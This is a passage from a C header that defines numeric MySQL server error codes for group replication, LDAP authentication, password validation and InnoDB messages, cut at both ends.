ER_GRP_RPL_FAILED_TO_REGISTER_SERVER_STATE_OBSERVER 11657 #define ER_GRP_RPL_FAILED_TO_REGISTER_TRANS_STATE_OBSERVER 11658 #define ER_GRP_RPL_FAILED_TO_REGISTER_BINLOG_STATE_OBSERVER 11659 #define ER_GRP_RPL_FAILED_TO_START_ON_BOOT 11660 #define ER_GRP_RPL_FAILED_TO_STOP_ON_PLUGIN_UNINSTALL 11661 #define ER_GRP_RPL_FAILED_TO_UNREGISTER_SERVER_STATE_OBSERVER 11662 #define ER_GRP_RPL_FAILED_TO_UNREGISTER_TRANS_STATE_OBSERVER 11663 #define ER_GRP_RPL_FAILED_TO_UNREGISTER_BINLOG_STATE_OBSERVER 11664 #define ER_GRP_RPL_ALL_OBSERVERS_UNREGISTERED 11665 #define ER_GRP_RPL_FAILED_TO_PARSE_THE_GRP_NAME 11666 #define ER_GRP_RPL_FAILED_TO_GENERATE_SIDNO_FOR_GRP 11667 #define ER_GRP_RPL_APPLIER_NOT_STARTED_DUE_TO_RUNNING_PREV_SHUTDOWN 11668 #define ER_GRP_RPL_FAILED_TO_INIT_APPLIER_MODULE 11669 #define ER_GRP_RPL_APPLIER_INITIALIZED 11670 #define ER_GRP_RPL_COMMUNICATION_SSL_CONF_INFO 11671 #define ER_GRP_RPL_ABORTS_AS_SSL_NOT_SUPPORTED_BY_MYSQLD 11672 #define ER_GRP_RPL_SSL_DISABLED 11673 #define ER_GRP_RPL_UNABLE_TO_INIT_COMMUNICATION_ENGINE 11674 #define ER_GRP_RPL_BINLOG_DISABLED 11675 #define ER_GRP_RPL_GTID_MODE_OFF 11676 #define ER_GRP_RPL_LOG_REPLICA_UPDATES_NOT_SET 11677 #define ER_GRP_RPL_INVALID_TRANS_WRITE_SET_EXTRACTION_VALUE 11678 #define ER_GRP_RPL_APPLIER_METADATA_REPO_MUST_BE_TABLE 11679 #define ER_GRP_RPL_CONNECTION_METADATA_REPO_MUST_BE_TABLE 11680 #define ER_GRP_RPL_INCORRECT_TYPE_SET_FOR_PARALLEL_APPLIER 11681 #define ER_GRP_RPL_REPLICA_PRESERVE_COMMIT_ORDER_NOT_SET 11682 #define ER_GRP_RPL_SINGLE_PRIM_MODE_NOT_ALLOWED_WITH_UPDATE_EVERYWHERE 11683 #define ER_GRP_RPL_MODULE_TERMINATE_ERROR 11684 #define ER_GRP_RPL_GRP_NAME_OPTION_MANDATORY 11685 #define ER_GRP_RPL_GRP_NAME_IS_TOO_LONG 11686 #define ER_GRP_RPL_GRP_NAME_IS_NOT_VALID_UUID 11687 #define ER_GRP_RPL_FLOW_CTRL_MIN_QUOTA_GREATER_THAN_MAX_QUOTA 11688 #define ER_GRP_RPL_FLOW_CTRL_MIN_RECOVERY_QUOTA_GREATER_THAN_MAX_QUOTA 11689 #define ER_GRP_RPL_FLOW_CTRL_MAX_QUOTA_SMALLER_THAN_MIN_QUOTAS 11690 #define ER_GRP_RPL_INVALID_SSL_RECOVERY_STRING 11691 //#define OBSOLETE_ER_GRP_RPL_SUPPORTS_ONLY_ONE_FORCE_MEMBERS_SET 11692 //#define OBSOLETE_ER_GRP_RPL_FORCE_MEMBERS_SET_UPDATE_NOT_ALLOWED 11693 #define ER_GRP_RPL_GRP_COMMUNICATION_INIT_WITH_CONF 11694 #define ER_GRP_RPL_UNKNOWN_GRP_RPL_APPLIER_PIPELINE_REQUESTED 11695 #define ER_GRP_RPL_FAILED_TO_BOOTSTRAP_EVENT_HANDLING_INFRASTRUCTURE 11696 #define ER_GRP_RPL_APPLIER_HANDLER_NOT_INITIALIZED 11697 #define ER_GRP_RPL_APPLIER_HANDLER_IS_IN_USE 11698 #define ER_GRP_RPL_APPLIER_HANDLER_ROLE_IS_IN_USE 11699 #define ER_GRP_RPL_FAILED_TO_INIT_APPLIER_HANDLER 11700 #define ER_GRP_RPL_SQL_SERVICE_FAILED_TO_INIT_SESSION_THREAD 11701 #define ER_GRP_RPL_SQL_SERVICE_COMM_SESSION_NOT_INITIALIZED 11702 #define ER_GRP_RPL_SQL_SERVICE_SERVER_SESSION_KILLED 11703 #define ER_GRP_RPL_SQL_SERVICE_FAILED_TO_RUN_SQL_QUERY 11704 #define ER_GRP_RPL_SQL_SERVICE_SERVER_INTERNAL_FAILURE 11705 #define ER_GRP_RPL_SQL_SERVICE_RETRIES_EXCEEDED_ON_SESSION_STATE 11706 #define ER_GRP_RPL_SQL_SERVICE_FAILED_TO_FETCH_SECURITY_CTX 11707 #define ER_GRP_RPL_SQL_SERVICE_SERVER_ACCESS_DENIED_FOR_USER 11708 #define ER_GRP_RPL_SQL_SERVICE_MAX_CONN_ERROR_FROM_SERVER 11709 #define ER_GRP_RPL_SQL_SERVICE_SERVER_ERROR_ON_CONN 11710 #define ER_GRP_RPL_UNREACHABLE_MAJORITY_TIMEOUT_FOR_MEMBER 11711 #define ER_GRP_RPL_SERVER_SET_TO_READ_ONLY_DUE_TO_ERRORS 11712 #define ER_GRP_RPL_GMS_LISTENER_FAILED_TO_LOG_NOTIFICATION 11713 #define ER_GRP_RPL_GRP_COMMUNICATION_ENG_INIT_FAILED 11714 #define ER_GRP_RPL_SET_GRP_COMMUNICATION_ENG_LOGGER_FAILED 11715 #define ER_GRP_RPL_DEBUG_OPTIONS 11716 #define ER_GRP_RPL_INVALID_DEBUG_OPTIONS 11717 #define ER_GRP_RPL_EXIT_GRP_GCS_ERROR 11718 #define ER_GRP_RPL_GRP_MEMBER_OFFLINE 11719 #define ER_GRP_RPL_GCS_INTERFACE_ERROR 11720 #define ER_GRP_RPL_FORCE_MEMBER_VALUE_SET_ERROR 11721 #define ER_GRP_RPL_FORCE_MEMBER_VALUE_SET 11722 #define ER_GRP_RPL_FORCE_MEMBER_VALUE_TIME_OUT 11723 #define ER_GRP_RPL_BROADCAST_COMMIT_MSSG_TOO_BIG 11724 #define ER_GRP_RPL_SEND_STATS_ERROR 11725 #define ER_GRP_RPL_MEMBER_STATS_INFO 11726 #define ER_GRP_RPL_FLOW_CONTROL_STATS 11727 #define ER_GRP_RPL_UNABLE_TO_CONVERT_PACKET_TO_EVENT 11728 #define ER_GRP_RPL_PIPELINE_CREATE_FAILED 11729 #define ER_GRP_RPL_PIPELINE_REINIT_FAILED_WRITE 11730 #define ER_GRP_RPL_UNABLE_TO_CONVERT_EVENT_TO_PACKET 11731 #define ER_GRP_RPL_PIPELINE_FLUSH_FAIL 11732 #define ER_GRP_RPL_PIPELINE_REINIT_FAILED_READ 11733 //#define OBSOLETE_ER_GRP_RPL_STOP_REP_CHANNEL 11734 #define ER_GRP_RPL_GCS_GR_ERROR_MSG 11735 #define ER_GRP_RPL_REPLICA_IO_THREAD_UNBLOCKED 11736 #define ER_GRP_RPL_REPLICA_IO_THREAD_ERROR_OUT 11737 #define ER_GRP_RPL_REPLICA_APPLIER_THREAD_UNBLOCKED 11738 #define ER_GRP_RPL_REPLICA_APPLIER_THREAD_ERROR_OUT 11739 #define ER_LDAP_AUTH_FAILED_TO_CREATE_OR_GET_CONNECTION 11740 #define ER_LDAP_AUTH_DEINIT_FAILED 11741 #define ER_LDAP_AUTH_SKIPPING_USER_GROUP_SEARCH 11742 #define ER_LDAP_AUTH_POOL_DISABLE_MAX_SIZE_ZERO 11743 #define ER_LDAP_AUTH_FAILED_TO_CREATE_LDAP_OBJECT_CREATOR 11744 #define ER_LDAP_AUTH_FAILED_TO_CREATE_LDAP_OBJECT 11745 #define ER_LDAP_AUTH_TLS_CONF 11746 #define ER_LDAP_AUTH_TLS_CONNECTION 11747 #define ER_LDAP_AUTH_CONN_POOL_NOT_CREATED 11748 #define ER_LDAP_AUTH_CONN_POOL_INITIALIZING 11749 #define ER_LDAP_AUTH_CONN_POOL_DEINITIALIZING 11750 #define ER_LDAP_AUTH_ZERO_MAX_POOL_SIZE_UNCHANGED 11751 #define ER_LDAP_AUTH_POOL_REINITIALIZING 11752 #define ER_LDAP_AUTH_FAILED_TO_WRITE_PACKET 11753 #define ER_LDAP_AUTH_SETTING_USERNAME 11754 #define ER_LDAP_AUTH_USER_AUTH_DATA 11755 #define ER_LDAP_AUTH_INFO_FOR_USER 11756 #define ER_LDAP_AUTH_USER_GROUP_SEARCH_INFO 11757 #define ER_LDAP_AUTH_GRP_SEARCH_SPECIAL_HDL 11758 #define ER_LDAP_AUTH_GRP_IS_FULL_DN 11759 #define ER_LDAP_AUTH_USER_NOT_FOUND_IN_ANY_GRP 11760 #define ER_LDAP_AUTH_USER_FOUND_IN_MANY_GRPS 11761 #define ER_LDAP_AUTH_USER_HAS_MULTIPLE_GRP_NAMES 11762 #define ER_LDAP_AUTH_SEARCHED_USER_GRP_NAME 11763 #define ER_LDAP_AUTH_OBJECT_CREATE_TIMESTAMP 11764 #define ER_LDAP_AUTH_CERTIFICATE_NAME 11765 #define ER_LDAP_AUTH_FAILED_TO_POOL_DEINIT 11766 #define ER_LDAP_AUTH_FAILED_TO_INITIALIZE_POOL_IN_RECONSTRUCTING 11767 #define ER_LDAP_AUTH_FAILED_TO_INITIALIZE_POOL_IN_INIT_STATE 11768 #define ER_LDAP_AUTH_FAILED_TO_INITIALIZE_POOL_IN_DEINIT_STATE 11769 #define ER_LDAP_AUTH_FAILED_TO_DEINITIALIZE_POOL_IN_RECONSTRUCT_STATE 11770 #define ER_LDAP_AUTH_FAILED_TO_DEINITIALIZE_NOT_READY_POOL 11771 #define ER_LDAP_AUTH_FAILED_TO_GET_CONNECTION_AS_PLUGIN_NOT_READY 11772 #define ER_LDAP_AUTH_CONNECTION_POOL_INIT_FAILED 11773 #define ER_LDAP_AUTH_MAX_ALLOWED_CONNECTION_LIMIT_HIT 11774 #define ER_LDAP_AUTH_MAX_POOL_SIZE_SET_FAILED 11775 #define ER_LDAP_AUTH_PLUGIN_FAILED_TO_READ_PACKET 11776 #define ER_LDAP_AUTH_CREATING_LDAP_CONNECTION 11777 #define ER_LDAP_AUTH_GETTING_CONNECTION_FROM_POOL 11778 #define ER_LDAP_AUTH_RETURNING_CONNECTION_TO_POOL 11779 #define ER_LDAP_AUTH_SEARCH_USER_GROUP_ATTR_NOT_FOUND 11780 #define ER_LDAP_AUTH_LDAP_INFO_NULL 11781 #define ER_LDAP_AUTH_FREEING_CONNECTION 11782 #define ER_LDAP_AUTH_CONNECTION_PUSHED_TO_POOL 11783 #define ER_LDAP_AUTH_CONNECTION_CREATOR_ENTER 11784 #define ER_LDAP_AUTH_STARTING_TLS 11785 #define ER_LDAP_AUTH_CONNECTION_GET_LDAP_INFO_NULL 11786 #define ER_LDAP_AUTH_DELETING_CONNECTION_KEY 11787 #define ER_LDAP_AUTH_POOLED_CONNECTION_KEY 11788 #define ER_LDAP_AUTH_CREATE_CONNECTION_KEY 11789 #define ER_LDAP_AUTH_COMMUNICATION_HOST_INFO 11790 #define ER_LDAP_AUTH_METHOD_TO_CLIENT 11791 #define ER_LDAP_AUTH_SASL_REQUEST_FROM_CLIENT 11792 #define ER_LDAP_AUTH_SASL_PROCESS_SASL 11793 #define ER_LDAP_AUTH_SASL_BIND_SUCCESS_INFO 11794 #define ER_LDAP_AUTH_STARTED_FOR_USER 11795 #define ER_LDAP_AUTH_DISTINGUISHED_NAME 11796 #define ER_LDAP_AUTH_INIT_FAILED 11797 #define ER_LDAP_AUTH_OR_GROUP_RETRIEVAL_FAILED 11798 #define ER_LDAP_AUTH_USER_GROUP_SEARCH_FAILED 11799 #define ER_LDAP_AUTH_USER_BIND_FAILED 11800 #define ER_LDAP_AUTH_POOL_GET_FAILED_TO_CREATE_CONNECTION 11801 #define ER_LDAP_AUTH_FAILED_TO_CREATE_LDAP_CONNECTION 11802 #define ER_LDAP_AUTH_FAILED_TO_ESTABLISH_TLS_CONNECTION 11803 #define ER_LDAP_AUTH_FAILED_TO_SEARCH_DN 11804 #define ER_LDAP_AUTH_CONNECTION_POOL_REINIT_ENTER 11805 #define ER_SYSTEMD_NOTIFY_PATH_TOO_LONG 11806 #define ER_SYSTEMD_NOTIFY_CONNECT_FAILED 11807 #define ER_SYSTEMD_NOTIFY_WRITE_FAILED 11808 #define ER_FOUND_MISSING_GTIDS 11809 #define ER_PID_FILE_PRIV_DIRECTORY_INSECURE 11810 #define ER_CANT_CHECK_PID_PATH 11811 #define ER_VALIDATE_PWD_STATUS_VAR_REGISTRATION_FAILED 11812 #define ER_VALIDATE_PWD_STATUS_VAR_UNREGISTRATION_FAILED 11813 #define ER_VALIDATE_PWD_DICT_FILE_OPEN_FAILED 11814 #define ER_VALIDATE_PWD_COULD_BE_NULL 11815 #define ER_VALIDATE_PWD_STRING_CONV_TO_LOWERCASE_FAILED 11816 #define ER_VALIDATE_PWD_STRING_CONV_TO_BUFFER_FAILED 11817 #define ER_VALIDATE_PWD_STRING_HANDLER_MEM_ALLOCATION_FAILED 11818 #define ER_VALIDATE_PWD_STRONG_POLICY_DICT_FILE_UNSPECIFIED 11819 #define ER_VALIDATE_PWD_CONVERT_TO_BUFFER_FAILED 11820 #define ER_VALIDATE_PWD_VARIABLE_REGISTRATION_FAILED 11821 #define ER_VALIDATE_PWD_VARIABLE_UNREGISTRATION_FAILED 11822 #define ER_KEYRING_MIGRATION_EXTRA_OPTIONS 11823 //#define OBSOLETE_ER_INVALID_DEFAULT_UTF8MB4_COLLATION 11824 #define ER_IB_MSG_0 11825 #define ER_IB_MSG_1 11826 #define ER_IB_MSG_2 11827 #define ER_IB_MSG_3 11828 #define ER_IB_MSG_4 11829 #define ER_IB_MSG_5 11830 #define ER_IB_MSG_6 11831 #define ER_IB_MSG_7 11832 #define ER_IB_MSG_8 11833 #define ER_IB_MSG_9 11834 #define ER_IB_MSG_10 11835 #define ER_IB_MSG_11 11836 #define ER_IB_MSG_12 11837 #define ER_IB_MSG_13 11838 #define ER_IB_MSG_14 11839 #define ER_IB_MSG_15 11840 #define ER_IB_MSG_16 11841 #define ER_IB_MSG_17 11842 #define ER_IB_MSG_18 11843 #define ER_IB_MSG_19 11844 #define ER_IB_MSG_20 11845 #define ER_IB_MSG_21 11846 #define ER_IB_MSG_22 11847 #define ER_IB_MSG_23 11848 #define ER_IB_MSG_24 11849 #define ER_IB_MSG_25 11850 #define ER_IB_MSG_26 11851 #define ER_IB_MSG_27 11852 #define ER_IB_MSG_28 11853 #define ER_IB_MSG_29 11854 #define ER_IB_MSG_30 11855 #define ER_IB_MSG_31 11856 #define ER_IB_MSG_32 11857 #define ER_IB_MSG_33 11858 #define ER_IB_MSG_34 11859 #define ER_IB_MSG_35 11860 #define ER_IB_MSG_36 11861 #define ER_IB_MSG_37 11862 #define ER_IB_MSG_38 11863 #define ER_IB_MSG_39 11864 #define ER_IB_MSG_40 11865 #define ER_IB_MSG_41 11866 #define ER_IB_MSG_42 11867 #define ER_IB_MSG_43 11868 #define ER_IB_MSG_44 11869 #define ER_IB_MSG_45 11870 #define ER_IB_MSG_46 11871 #define ER_IB_MSG_47 11872 #define ER_IB_MSG_48 11873 #define ER_IB_MSG_49 11874 #define ER_IB_MSG_50 11875 #define ER_IB_MSG_51 11876 #define ER_IB_MSG_52 11877 #define ER_IB_MSG_53 11878 #define ER_IB_MSG_54 11879 #define ER_IB_MSG_55 11880 #define ER_IB_MSG_56 11881 #define ER_IB_MSG_57 11882 #define ER_IB_MSG_58 11883 #define ER_IB_MSG_59 11884 #define ER_IB_MSG_60 11885 #define ER_IB_MSG_61 11886 #define ER_IB_MSG_62 11887 #define ER_IB_MSG_63 11888 #define ER_IB_MSG_64 11889 #define ER_IB_MSG_65 11890 #define ER_IB_MSG_66 11891 #define ER_IB_MSG_67 11892 #define ER_IB_MSG_68 11893 #define ER_IB_MSG_69 11894 #define ER_IB_MSG_70 11895 #define ER_IB_MSG_71 11896 #define ER_IB_MSG_72 11897 #define ER_IB_MSG_73 11898 #define ER_IB_MSG_74 11899 #define ER_IB_MSG_75 11900 #define ER_IB_MSG_76 11901 #define ER_IB_MSG_77 11902 #define ER_IB_MSG_78 11903 #define ER_IB_MSG_79 11904 #define ER_IB_MSG_80 11905 #define ER_IB_MSG_81 11906 #define ER_IB_MSG_82 11907 #define ER_IB_ERR_PAGE_DIRTY_AT_SHUTDOWN 11908 #define ER_IB_MSG_84 11909 #define ER_IB_MSG_85 11910 #define ER_IB_MSG_86 11911 //#define OBSOLETE_ER_IB_MSG_87 11912 //#define OBSOLETE_ER_IB_MSG_88 11913 //#define OBSOLETE_ER_IB_MSG_89 11914 //#define OBSOLETE_ER_IB_MSG_90 11915 //#define OBSOLETE_ER_IB_MSG_91 11916 //#define OBSOLETE_ER_IB_MSG_92 11917 //#define OBSOLETE_ER_IB_MSG_93 11918 //#define OBSOLETE_ER_IB_MSG_94 11919 #define ER_IB_MSG_95 11920 #define ER_IB_MSG_96 11921 #define ER_IB_MSG_97 11922 #define ER_IB_MSG_98 11923 #define ER_IB_MSG_99 11924 #define ER_IB_MSG_100 11925 #define ER_IB_MSG_101 11926 #define ER_IB_MSG_102 11927 #define ER_IB_MSG_103 11928 #define ER_IB_MSG_104 11929 #define ER_IB_MSG_105 11930 #define ER_IB_MSG_106 11931 #define ER_IB_MSG_107 11932 #define ER_IB_MSG_108 11933 #define ER_IB_MSG_109 11934 #define ER_IB_MSG_110 11935 #define ER_IB_MSG_111 11936 #define ER_IB_MSG_112 11937 //#define OBSOLETE_ER_IB_MSG_113 11938 //#define OBSOLETE_ER_IB_MSG_114 11939 //#define OBSOLETE_ER_IB_MSG_115 11940 //#define OBSOLETE_ER_IB_MSG_116 11941 //#define OBSOLETE_ER_IB_MSG_117 11942 //#define OBSOLETE_ER_IB_MSG_118 11943 #define ER_IB_MSG_119 11944 #define ER_IB_MSG_120 11945 #define ER_IB_MSG_121 11946 #define ER_IB_MSG_122 11947 #define ER_IB_MSG_123 11948 #define ER_IB_MSG_124 11949 #define ER_IB_MSG_125 11950 #define ER_IB_MSG_126 11951 #define ER_IB_MSG_127 11952 #define ER_IB_MSG_128 11953 #define ER_IB_MSG_129 11954 #define ER_IB_MSG_130 11955 #define ER_IB_MSG_131 11956 #define ER_IB_MSG_132 11957 #define ER_IB_MSG_133 11958 #define ER_IB_MSG_134 11959 #define ER_IB_MSG_135 11960 #define ER_IB_MSG_136 11961 #define ER_IB_MSG_137 11962 #define ER_IB_MSG_138 11963 #define ER_IB_MSG_139 11964 #define ER_IB_MSG_140 11965 #define ER_IB_MSG_141 11966 #define ER_IB_MSG_142 11967 #define ER_IB_MSG_143 11968 #define ER_IB_MSG_144 11969 #define ER_IB_MSG_145 11970 #define ER_IB_MSG_146 11971 #define ER_IB_MSG_147 11972 #define ER_IB_MSG_148 11973 #define ER_IB_CLONE_INTERNAL 11974 #define ER_IB_CLONE_TIMEOUT 11975 #define ER_IB_CLONE_STATUS_FILE 11976 #define ER_IB_CLONE_SQL 11977 #define ER_IB_CLONE_VALIDATE 11978 #define ER_IB_CLONE_PUNCH_HOLE 11979 #define ER_IB_CLONE_GTID_PERSIST 11980 #define ER_IB_MSG_156 11981 #define ER_IB_MSG_157 11982 #define ER_IB_MSG_158 11983 #define ER_IB_MSG_159 11984 #define ER_IB_MSG_160 11985 #define ER_IB_MSG_161 11986 #define ER_IB_MSG_162 11987 #define ER_IB_MSG_163 11988 #define ER_IB_MSG_164 11989 #define ER_IB_MSG_165 11990 #define ER_IB_MSG_166 11991 #define ER_IB_MSG_167 11992 #define ER_IB_MSG_168 11993 #define ER_IB_MSG_169 11994 #define ER_IB_MSG_170 11995 #define ER_IB_MSG_171 11996 #define ER_IB_MSG_172 11997 #define ER_IB_MSG_173 11998 #define ER_IB_MSG_174 11999 #define ER_IB_MSG_175 12000 #define ER_IB_MSG_176 12001 #define ER_IB_MSG_177 12002 #define ER_IB_MSG_178 12003 #define ER_IB_MSG_179 12004 #define ER_IB_MSG_180 12005 #define ER_IB_LONG_AHI_DISABLE_WAIT 12006 #define ER_IB_MSG_182 12007 #define ER_IB_MSG_183 12008 #define ER_IB_MSG_184 12009 #define ER_IB_MSG_185 12010 #define ER_IB_MSG_186 12011 #define ER_IB_MSG_187 12012 #define ER_IB_MSG_188 12013 #define ER_IB_MSG_189 12014 #define ER_IB_MSG_190 12015 #define ER_IB_MSG_191 12016 #define ER_IB_MSG_192 12017 #define ER_IB_MSG_193 12018 #define ER_IB_MSG_194 12019 #define ER_IB_MSG_195 12020 #define ER_IB_MSG_196 12021 #define ER_IB_MSG_197 12022 #define ER_IB_MSG_198 12023 #define ER_IB_MSG_199 12024 #define ER_IB_MSG_200 12025 #define ER_IB_MSG_201 12026 #define ER_IB_MSG_202 12027 #define ER_IB_MSG_203 12028 #define ER_IB_MSG_204 12029 #define ER_IB_MSG_205 12030 #define ER_IB_MSG_206 12031 #define ER_IB_MSG_207 12032 #define ER_IB_MSG_208 12033 #define ER_IB_MSG_209 12034 #define ER_IB_MSG_210 12035 #define ER_IB_MSG_211 12036 #define ER_IB_MSG_212 12037 #define ER_IB_MSG_213 12038 #define ER_IB_MSG_214 12039 #define ER_IB_MSG_215 12040 #define ER_IB_MSG_216 12041 #define ER_IB_MSG_217 12042 #define ER_IB_MSG_218 12043 #define ER_IB_MSG_219 12044 #define ER_IB_MSG_220 12045 #define ER_IB_MSG_221 12046 #define ER_IB_MSG_222 12047 #define ER_IB_MSG_223 12048 #define ER_IB_MSG_224 12049 #define ER_IB_MSG_225 12050 #define ER_IB_MSG_226 12051 #define ER_IB_MSG_227 12052 #define ER_IB_MSG_228 12053 #define ER_IB_MSG_229 12054 #define ER_IB_MSG_230 12055 #define ER_IB_MSG_231 12056 #define ER_IB_MSG_232 12057 #define ER_IB_MSG_233 12058 #define ER_IB_MSG_234 12059 #define ER_IB_MSG_235 12060 #define ER_IB_MSG_236 12061 #define ER_IB_MSG_237 12062 #define ER_IB_MSG_238 12063 #define ER_IB_MSG_239 12064 #define ER_IB_MSG_240 12065 #define ER_IB_MSG_241 12066 #define ER_IB_MSG_242 12067 #define ER_IB_MSG_243 12068 #define ER_IB_MSG_244 12069 #define ER_IB_MSG_245 12070 #define ER_IB_MSG_246 12071 #define ER_IB_MSG_247 12072 #define ER_IB_MSG_248 12073 #define ER_IB_MSG_249 12074 #define ER_IB_MSG_250 12075 #define ER_IB_MSG_251 12076 #define ER_IB_MSG_252 12077 #define ER_IB_MSG_253 12078 #define ER_IB_MSG_254 12079 #define ER_IB_MSG_255 12080 #define ER_IB_MSG_256 12081 #define ER_IB_MSG_257 12082 #define ER_IB_MSG_258 12083 #define ER_IB_MSG_259 12084 #define ER_IB_MSG_260 12085 #define ER_IB_MSG_261 12086 #define ER_IB_MSG_262 12087 #define ER_IB_MSG_263 12088 #define ER_IB_MSG_264 12089 #define ER_IB_MSG_265 12090 #define ER_IB_MSG_266 12091 #define ER_IB_MSG_267 12092 #define ER_IB_MSG_268 12093 #define ER_IB_MSG_269 12094 #define ER_IB_MSG_270 12095 #define ER_IB_MSG_271 12096 #define ER_IB_MSG_272 12097 #define ER_IB_MSG_273 12098 //#define OBSOLETE_ER_IB_MSG_274 12099 //#define OBSOLETE_ER_IB_MSG_275 12100 //#define OBSOLETE_ER_IB_MSG_276 12101 //#define OBSOLETE_ER_IB_MSG_277 12102 #define ER_IB_MSG_278 12103 //#define OBSOLETE_ER_IB_MSG_279 12104 #define ER_IB_MSG_280 12105 #define ER_IB_MSG_281 12106 #define ER_IB_MSG_282 12107 #define ER_IB_MSG_283 12108 #define ER_IB_MSG_284 12109 #define ER_IB_MSG_285 12110 #define ER_IB_WARN_ACCESSING_NONEXISTINC_SPACE 12111 #define ER_IB_MSG_287 12112 #define ER_IB_MSG_288 12113 #define ER_IB_MSG_289 12114 //#define OBSOLETE_ER_IB_MSG_290 12115 #define ER_IB_MSG_291 12116 #define ER_IB_MSG_292 12117 #define ER_IB_MSG_293 12118 #define ER_IB_MSG_294 12119 #define ER_IB_MSG_295 12120 #define ER_IB_MSG_296 12121 #define ER_IB_MSG_297 12122 #define ER_IB_MSG_298 12123 #define ER_IB_MSG_299 12124 #define ER_IB_MSG_300 12125 #define ER_IB_MSG_301 12126 #define ER_IB_MSG_UNEXPECTED_FILE_EXISTS 12127 #define ER_IB_MSG_303 12128 #define ER_IB_MSG_304 12129 #define ER_IB_MSG_305 12130 #define ER_IB_MSG_306 12131 #define ER_IB_MSG_307 12132 #define ER_IB_MSG_308 12133 #define ER_IB_MSG_309 12134 #define ER_IB_MSG_310 12135 #define ER_IB_MSG_311 12136 #define ER_IB_MSG_312 12137 #define ER_IB_MSG_313 12138 #define ER_IB_MSG_314 12139 #define ER_IB_MSG_315 12140 #define ER_IB_MSG_316 12141 #define ER_IB_MSG_317 12142 #define ER_IB_MSG_318 12143 #define ER_IB_MSG_319 12144 #define ER_IB_MSG_320 12145 #define ER_IB_MSG_321 12146 #define ER_IB_MSG_322 12147 #define ER_IB_MSG_323 12148 #define ER_IB_MSG_324 12149 #define ER_IB_MSG_325 12150 #define ER_IB_MSG_326 12151 //#define OBSOLETE_ER_IB_MSG_327 12152 #define ER_IB_MSG_328 12153 #define ER_IB_MSG_329 12154 #define ER_IB_MSG_330 12155 #define ER_IB_MSG_331 12156 #define ER_IB_MSG_332 12157 #define ER_IB_MSG_333 12158 #define ER_IB_MSG_334 12159 #define ER_IB_MSG_335 12160 #define ER_IB_MSG_336 12161 #define ER_IB_MSG_337 12162 #define ER_IB_MSG_338 12163 #define ER_IB_MSG_339 12164 #define ER_IB_MSG_340 12165 #define ER_IB_MSG_341 12166 #define ER_IB_MSG_342 12167 #define ER_IB_MSG_343 12168 #define ER_IB_MSG_344 12169 #define ER_IB_MSG_345 12170 #define ER_IB_MSG_346 12171 #define ER_IB_MSG_347 12172 #define ER_IB_MSG_348 12173 #define ER_IB_MSG_349 12174 #define ER_IB_MSG_350 12175 //#define OBSOLETE_ER_IB_MSG_351 12176 #define ER_IB_MSG_UNPROTECTED_LOCATION_ALLOWED 12177 //#define OBSOLETE_ER_IB_MSG_353 12178 #define ER_IB_MSG_354 12179 #define ER_IB_MSG_355 12180 #define ER_IB_MSG_356 12181 #define ER_IB_MSG_357 12182 #define ER_IB_MSG_358 12183 #define ER_IB_MSG_359 12184 #define ER_IB_MSG_360 12185 #define ER_IB_MSG_361 12186 #define ER_IB_MSG_362 12187 //#define OBSOLETE_ER_IB_MSG_363 12188 #define ER_IB_MSG_364 12189 #define ER_IB_MSG_365 12190 #define ER_IB_MSG_IGNORE_SCAN_PATH 12191 #define ER_IB_MSG_367 12192 #define ER_IB_MSG_368 12193 #define ER_IB_MSG_369 12194 #define ER_IB_MSG_370 12195 #define ER_IB_MSG_371 12196 #define ER_IB_MSG_372 12197 #define ER_IB_MSG_373 12198 #define ER_IB_MSG_374 12199 #define ER_IB_MSG_375 12200 #define ER_IB_MSG_376 12201 #define ER_IB_MSG_377 12202 #define ER_IB_MSG_378 12203 #define ER_IB_MSG_379 12204 #define ER_IB_MSG_380 12205 #define ER_IB_MSG_381 12206 #define ER_IB_MSG_382 12207 #define ER_IB_MSG_383 12208 #define ER_IB_MSG_384 12209 #define ER_IB_MSG_385 12210 #define ER_IB_MSG_386 12211 #define ER_IB_MSG_387 12212 #define ER_IB_MSG_GENERAL_TABLESPACE_UNDER_DATADIR 12213 #define ER_IB_MSG_IMPLICIT_TABLESPACE_IN_DATADIR 12214 #define ER_IB_MSG_390 12215 #define ER_IB_MSG_391 12216 #define ER_IB_MSG_392 12217 #define ER_IB_MSG_393 12218 #define ER_IB_MSG_394 12219 #define ER_IB_MSG_395 12220 #define ER_IB_MSG_396 12221 #define ER_IB_MSG_397 12222 #define ER_IB_MSG_398 12223 #define ER_IB_MSG_399 12224 //#define OBSOLETE_ER_IB_MSG_400 12225 #define ER_IB_MSG_401 12226 #define ER_IB_MSG_402 12227 #define ER_IB_MSG_403 12228 #define ER_IB_MSG_404 12229 #define ER_IB_MSG_405 12230 #define ER_IB_MSG_406 12231 #define ER_IB_MSG_407 12232 #define ER_IB_MSG_408 12233 #define ER_IB_MSG_409 12234 #define ER_IB_MSG_410 12235 #define ER_IB_MSG_411 12236 #define ER_IB_MSG_412 12237 #define ER_IB_MSG_413 12238 #define ER_IB_MSG_414 12239 #define ER_IB_MSG_415 12240 #define ER_IB_MSG_416 12241 #define ER_IB_MSG_417 12242 #define ER_IB_MSG_418 12243 #define ER_IB_MSG_419 12244 #define ER_IB_MSG_420 12245 #define ER_IB_MSG_421 12246 #define ER_IB_MSG_422 12247 #define ER_IB_MSG_423 12248 #define ER_IB_MSG_424 12249 #define ER_IB_MSG_425 12250 #define ER_IB_MSG_426 12251 #define ER_IB_MSG_427 12252 #define ER_IB_MSG_428 12253 #define ER_IB_MSG_429 12254 #define ER_IB_MSG_430 12255 #define ER_IB_MSG_431 12256 #define ER_IB_MSG_432 12257 #define ER_IB_MSG_433 12258 #define ER_IB_MSG_434 12259 #define ER_IB_MSG_435 12260 #define ER_IB_MSG_436 12261 #define ER_IB_MSG_437 12262 #define ER_IB_MSG_438 12263 #define ER_IB_MSG_439 12264 #define ER_IB_MSG_440 12265 #define ER_IB_MSG_441 12266 #define ER_IB_MSG_442 12267 #define ER_IB_MSG_443 12268 //#define OBSOLETE_ER_IB_MSG_444 12269 #define ER_IB_MSG_445 12270 #define ER_IB_MSG_446 12271 #define ER_IB_MSG_447 12272 #define ER_IB_MSG_448 12273 #define ER_IB_MSG_449 12274 #define ER_IB_MSG_450 12275 #define ER_IB_MSG_451 12276 #define ER_IB_MSG_452 12277 #define ER_IB_MSG_453 12278 #define ER_IB_MSG_454 12279 #define ER_IB_MSG_455 12280 #define ER_IB_MSG_456 12281 #define ER_IB_MSG_457 12282 #define ER_IB_MSG_458 12283 #define ER_IB_MSG_459 12284 #define ER_IB_MSG_460 12285 #define ER_IB_MSG_461 12286 #define ER_IB_MSG_462 12287 #define 